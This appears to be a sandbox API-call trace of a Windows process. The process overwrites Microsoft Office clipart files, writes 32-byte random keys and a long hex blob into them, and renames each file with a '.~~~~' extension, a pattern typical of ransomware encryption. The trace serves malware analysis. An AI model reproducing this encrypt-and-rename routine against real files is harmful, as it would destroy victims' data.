	[0113.405] GetLastError () returned 0x0
	[0113.406] GetLastError () returned 0x0
	[0113.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff8170, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.409] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x7e90, lpOverlapped=0x0) returned 1
	[0113.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.410] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.410] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.410] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.411] CloseHandle (hObject=0x130) returned 1
	[0113.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.411] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.~~~~")) returned 1
	[0113.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.412] GetLastError () returned 0x0
	[0113.413] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.414] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.414] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.414] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23340391414) returned 1
	[0113.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad332410, dwHighDateTime=0x1d60e1e)) 
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f99e0
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f99e0 | out: hHeap=0x300000) returned 1
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835418
	[0113.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.414] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.415] GetLastError () returned 0x0
	[0113.415] GetLastError () returned 0x0
	[0113.415] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.415] GetLastError () returned 0x0
	[0113.415] GetLastError () returned 0x0
	[0113.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff7ee8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.426] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8118, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x8118, lpOverlapped=0x0) returned 1
	[0113.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.428] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.428] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.428] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.428] CloseHandle (hObject=0x130) returned 1
	[0113.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.~~~~")) returned 1
	[0113.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.432] GetLastError () returned 0x0
	[0113.432] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.433] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.434] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.434] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23342386883) returned 1
	[0113.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad358570, dwHighDateTime=0x1d60e1e)) 
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839028
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839028 | out: hHeap=0x300000) returned 1
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28354b0
	[0113.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.435] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.435] GetLastError () returned 0x0
	[0113.435] GetLastError () returned 0x0
	[0113.435] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.435] GetLastError () returned 0x0
	[0113.435] GetLastError () returned 0x0
	[0113.437] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffaf5b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.437] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x50a5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x50a5, lpOverlapped=0x0) returned 1
	[0113.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.438] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.438] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.439] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.439] CloseHandle (hObject=0x13c) returned 1
	[0113.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.~~~~")) returned 1
	[0113.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.440] GetLastError () returned 0x0
	[0113.440] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.441] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0113.441] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.441] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23343110738) returned 1
	[0113.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad37e6d0, dwHighDateTime=0x1d60e1e)) 
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839060
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839060 | out: hHeap=0x300000) returned 1
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835678
	[0113.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.442] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.442] GetLastError () returned 0x0
	[0113.442] GetLastError () returned 0x0
	[0113.442] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.442] GetLastError () returned 0x0
	[0113.442] GetLastError () returned 0x0
	[0113.444] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.444] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.445] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.445] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.445] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.445] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.445] CloseHandle (hObject=0x13c) returned 1
	[0113.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.445] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.~~~~")) returned 1
	[0113.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.446] GetLastError () returned 0x0
	[0113.446] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.447] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0113.447] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0113.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.447] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23343752469) returned 1
	[0113.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad37e6d0, dwHighDateTime=0x1d60e1e)) 
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839098
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839098 | out: hHeap=0x300000) returned 1
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835710
	[0113.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.448] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.448] GetLastError () returned 0x0
	[0113.448] GetLastError () returned 0x0
	[0113.448] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.448] GetLastError () returned 0x0
	[0113.449] GetLastError () returned 0x0
	[0113.450] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff927a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.450] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6d86, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x6d86, lpOverlapped=0x0) returned 1
	[0113.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.451] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.451] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.451] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.451] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.451] CloseHandle (hObject=0x13c) returned 1
	[0113.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.452] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.~~~~")) returned 1
	[0113.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.452] GetLastError () returned 0x0
	[0113.453] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.454] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0113.454] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.454] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23344426656) returned 1
	[0113.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad3a4830, dwHighDateTime=0x1d60e1e)) 
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28390d0
	[0113.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28390d0 | out: hHeap=0x300000) returned 1
	[0113.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28357a8
	[0113.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
